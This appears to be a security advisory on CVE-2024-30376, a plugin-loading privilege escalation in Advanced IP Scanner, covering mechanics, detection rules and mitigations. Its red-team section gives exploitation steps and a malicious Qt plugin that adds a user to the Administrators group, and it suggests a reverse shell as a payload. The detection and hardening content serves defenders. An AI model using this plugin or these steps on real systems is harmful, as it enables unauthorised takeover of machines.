CVE-2024-30376

Executive Summary

CVE-2024-30376 is a local privilege escalation vulnerability in Famatech Advanced IP Scanner, a popular network scanning tool. The flaw resides in the application’s use of the Qt framework, where it loads Qt plugins from an unsecured, attacker-controllable location. An attacker with low-privileged code execution on the target system can exploit this uncontrolled search path element to load a malicious plugin, leading to privilege escalation to administrator level and arbitrary code execution. The vulnerability has a CVSS score of 7.3 (High) and is currently unpatched. No public proof-of-concept or exploit code has been released, but the risk is significant for enterprise environments where Advanced IP Scanner is deployed.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but involves a third-party desktop application (Famatech Advanced IP Scanner). The risk is amplified by the lack of a vendor patch, making it a supply chain concern for organizations that rely on this tool.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs low-privileged code execution.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – full data access possible.
• Integrity Impact: High (I:H) – arbitrary code execution as admin.
• Availability Impact: High (A:H) – potential system compromise.

Threat Level: High. Exploitation is straightforward for an attacker with local access, and the impact is full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic Uncontrolled Search Path Element (CWE-427). Famatech Advanced IP Scanner uses the Qt framework, which loads plugins (e.g., .dll files on Windows) from specific directories. The application fails to restrict the search path to secure, system-controlled locations. Instead, it searches for plugins in user-writable directories (e.g., the current working directory or user profile paths).

Attack Flow:

1. Attacker gains low-privileged code execution on the target (e.g., via phishing, malware, or another vulnerability).
2. Attacker places a malicious Qt plugin (e.g., a .dll file) in a directory that Advanced IP Scanner searches for plugins (e.g., the application’s install directory or a user-writable path).
3. When Advanced IP Scanner starts or loads a plugin, it loads the attacker’s malicious plugin instead of the legitimate one.
4. The malicious plugin executes with the privileges of the application, which typically runs as an administrator (or can be elevated via UAC bypass).
5. Attacker gains arbitrary code execution in the context of an administrator.

Key Weakness: The application does not validate the integrity or origin of the plugin files, nor does it restrict the search path to secure directories.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable behavior:

Vulnerable Code (Conceptual):

// Qt plugin loading without path restriction
QPluginLoader loader("plugins/network.dll");
QObject *plugin = loader.instance();

The application loads plugins from a relative path or user-writable directory without checking permissions or signing.

Patched Code (Hypothetical):

// Secure plugin loading with path restriction
QPluginLoader loader("C:/Program Files/Advanced IP Scanner/plugins/network.dll");
if (!QFileInfo(loader.fileName()).isAbsolute() || !loader.fileName().startsWith("C:/Program Files/Advanced IP Scanner/")) {
    // Reject loading
    return;
}
QObject *plugin = loader.instance();

A patch would enforce loading plugins only from a secure, absolute path and verify digital signatures.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Low-privileged access to a Windows system with Advanced IP Scanner installed.
• Ability to write files to a directory searched by the application (e.g., %APPDATA%\Famatech\Advanced IP Scanner\plugins or the install directory).

Steps:

1. Identify Plugin Directory: Use Process Monitor (Procmon) to monitor where Advanced IP Scanner loads plugins from.
2. Craft Malicious Plugin: Create a Qt plugin DLL that executes a payload (e.g., reverse shell or privilege escalation).

   // malicious_plugin.cpp
   #include <QObject>
   #include <QProcess>
   class MaliciousPlugin : public QObject {
       Q_OBJECT
   public:
       MaliciousPlugin() {
           QProcess::startDetached("cmd.exe", {"/c", "net localgroup Administrators user /add"});
       }
   };
   Q_EXPORT_PLUGIN2(malicious, MaliciousPlugin)
   

3. Compile: Build as a Qt plugin DLL (e.g., network.dll).
4. Deploy: Copy the DLL to the vulnerable plugin directory.
5. Trigger: Launch Advanced IP Scanner (or wait for it to be launched by a user). The malicious plugin loads and executes the payload.

Blue Team (Defender)

Detection:

• Monitor for unexpected DLL loads in the Advanced IP Scanner process.
• Use Sysmon Event ID 7 (Image Loaded) to detect plugins loaded from non-standard paths.
• Enable Windows Defender Application Control (WDAC) to block unsigned DLLs.

Hunting:

• Search for files named *.dll in %APPDATA%\Famatech\Advanced IP Scanner\plugins or the install directory that are not part of the original installation.
• Check for processes spawning from Advanced IP Scanner (e.g., cmd.exe or powershell.exe).

Indicators of Compromise (IOCs)

• File Indicators:
  • Suspicious DLL files in %APPDATA%\Famatech\Advanced IP Scanner\plugins\ or C:\Program Files\Advanced IP Scanner\plugins\
  • DLLs with unusual names (e.g., network.dll, imageformats.dll) that are not part of the original installation.
• Process Indicators:
  • Advanced IP Scanner process (advanced_ip_scanner.exe) loading DLLs from user-writable paths.
  • Child processes spawned by advanced_ip_scanner.exe (e.g., cmd.exe, powershell.exe).
• Registry Indicators:
  • Modifications to HKCU\Software\Famatech\Advanced IP Scanner (if used for plugin paths).
• Network Indicators:
  • Outbound connections from advanced_ip_scanner.exe to attacker-controlled IPs (if payload is a reverse shell).

Detection Engineering

YARA Rule

rule CVE_2024_30376_AdvancedIPScanner_Plugin {
    meta:
        description = "Detects malicious Qt plugin DLLs targeting CVE-2024-30376"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $qt_plugin = "QObject" ascii wide nocase
        $plugin_export = "qt_plugin_query_metadata" ascii wide
        $suspicious_path = "AppData" ascii wide nocase
    condition:
        $qt_plugin and $plugin_export and $suspicious_path
}

Sigma Rule

title: CVE-2024-30376 - Advanced IP Scanner Plugin Load from Unsecured Path
id: 8a3f2c1e-5d7b-4a9c-8e1f-2b3c4d5e6f7a
status: experimental
description: Detects Advanced IP Scanner loading DLLs from user-writable directories
author: Valters IT
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\advanced_ip_scanner.exe'
        ImageLoaded|contains:
            - '\AppData\'
            - '\Users\'
            - '\Temp\'
    condition: selection
falsepositives:
    - Legitimate plugins installed by user
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-30376 - Advanced IP Scanner Potential Plugin Download";
    flow:to_server,established;
    content:"advanced_ip_scanner"; nocase;
    content:"plugin"; nocase;
    distance:0;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Plugin Directory: Use Windows File System permissions to deny write access to the Advanced IP Scanner plugin directories for non-admin users.
2. Application Control: Deploy Windows Defender Application Control (WDAC) or AppLocker to block unsigned DLLs from loading into advanced_ip_scanner.exe.
3. Monitor and Hunt: Implement the detection rules above to identify exploitation attempts.

Long-Term Fix:

• Vendor Patch: Await an official patch from Famatech that restricts plugin loading to secure, signed paths.
• Alternative Tools: Consider replacing Advanced IP Scanner with a more secure alternative (e.g., Nmap, Angry IP Scanner) until a patch is available.

Workaround:

• Run Advanced IP Scanner with reduced privileges (e.g., as a standard user) to limit the impact of exploitation.

Valters IT